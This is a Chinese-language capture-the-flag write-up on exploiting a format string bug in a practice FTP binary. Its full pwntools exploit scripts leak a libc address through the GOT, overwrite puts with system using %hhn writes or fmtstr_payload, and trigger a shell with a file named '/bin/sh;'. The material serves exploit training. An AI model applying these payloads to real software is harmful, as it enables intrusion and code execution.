格式化字符串漏洞練習

ftp程序，需要使用rxraclhm賬號登錄，提供了get、put、dir三個功能，分別讀文件、上傳文件、查看目錄。

其中get方法存在格式化字符串漏洞：

所以需要先put一個文件，內容是payload，然后get這個文件。

先測試一下偏移：

from pwn import * # context.log_level = 'debug' sh = process("./pwn3") sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put():    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(b"aaa")    sh.recvuntil(b"then, enter the content:")    sh.sendline(b'AAAA..%p..%p..%p..%p..%p..%p..%p..%p') def get():    sh.recvuntil(b"ftp>")    sh.sendline(b"get")    sh.recvuntil(b"enter the file name you want to get:")    sh.sendline(b"aaa") put()get() print(sh.recv())sh.interactive()

結果：

看到tag偏移量是7。

再測試一下，把put最后一行改一下：

def put():    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(b"aaa")    sh.recvuntil(b"then, enter the content:")    sh.sendline(b'AAAA%7$p')

確定偏移是7。

dir方法：

開始構造payload：

把puts的地址改成system的地址，然后put一個文件，文件名為‘/bin/sh;’， 然后再調用dir， show_dir()函數會執行puts("/bin/sh;...")

也就是 system("/bin/sh;...")，反彈shell。

exp:

from pwn import *from LibcSearcher import LibcSearcher context.log_level = 'debug' elf = ELF("./pwn3") sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir") sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put(file_name, file_content):    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(file_name)    sh.recvuntil(b"then, enter the content:")    sh.sendline(file_content) def get(file_name):    sh.recvuntil(b"ftp>")    sh.sendline(b"get")    sh.recvuntil(b"enter the file name you want to get:")    sh.sendline(file_name) def dir():    sh.recvuntil(b"ftp>")    sh.sendline(b"dir")  def leakage_function_addr(got_addr):    put(b'get_addr', b'%8$s' + p32(got_addr))    get(b'get_addr')    function_addr = u32(sh.recv(4))     return function_addr  def compute_order_32(target):    print("target=%x"%target)    dic = {}    for i in range(4):        x = (target >> (i * 8))        x &= 0xff        dic[i] = x             ls = list(dic.items())    ls.sort(key=lambda x:x[1])    return ls  def hack(addr, value, offset_start):    list_of_value = compute_order_32(value)    print(list_of_value)     payload = flat([        p32(addr + 0),        p32(addr + 1),        p32(addr + 2),        p32(addr + 3)    ])     total_char = 16    for it in list_of_value:        curr_char = it[1] - total_char        total_char += curr_char        payload += b"%" + str(curr_char).encode() + b"c%" + str(offset_start + it[0]).encode() + b"$hhn"     print("addr=%x"%addr)    debug(payload)     put(b'hack', payload)    get(b'hack')   printf_addr = leakage_function_addr(elf.got['printf'])print("function_addr=0x%x" %printf_addr) libc = LibcSearcher("printf", printf_addr)libcBase = printf_addr - libc.dump('printf')print("libcBase=%x" %libcBase)  system_addr = libcBase + libc.dump('system')print("system_addr=%x" %system_addr) hack(elf.got['puts'], system_addr, 7)put(b'/bin/sh;', b'get shell') dir() sh.interactive()

需要計算偏移量覆蓋got['puts']

怎么覆蓋看這個：https://bbs.pediy.com/thread-273213.htm

可以用pwntools里面的方法，一行代碼搞定：payload = fmtstr_payload(7, {addr: value})

使用fmtstr_payload后的版本：

from pwn import *from LibcSearcher import LibcSearcher context.log_level = 'debug' elf = ELF("./pwn3") sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir")#, "b *get_file" sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put(file_name, file_content):    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(file_name)    sh.recvuntil(b"then, enter the content:")    sh.sendline(file_content) def get(file_name):    sh.recvuntil(b"ftp>")    sh.sendline(b"get")    sh.recvuntil(b"enter the file name you want to get:")    sh.sendline(file_name) def dir():    sh.recvuntil(b"ftp>")    sh.sendline(b"dir")  def leakage_function_addr(got_addr):    put(b'get_addr', b'%8$s' + p32(got_addr))    get(b'get_addr')    function_addr = u32(sh.recv(4))     return function_addr def hack(addr, value, offset_start):    payload = fmtstr_payload(7, {addr: value})    debug(payload)     put(b'hack', payload)    get(b'hack')   printf_addr = leakage_function_addr(elf.got['printf'])print("function_addr=0x%x" %printf_addr) libc = LibcSearcher("printf", printf_addr)libcBase = printf_addr - libc.dump('printf')print("libcBase=%x" %libcBase)  system_addr = libcBase + libc.dump('system')print("system_addr=%x" %system_addr) hack(elf.got['puts'], system_addr, 7)put(b'/bin/sh;', b'get shell') dir() sh.interactive()

看下區別，這個是pwntools生成的payload：

這個是我的：

區別在格式化字符串和指針的位置不同。

看下覆蓋后的got，已經變成system了，nice。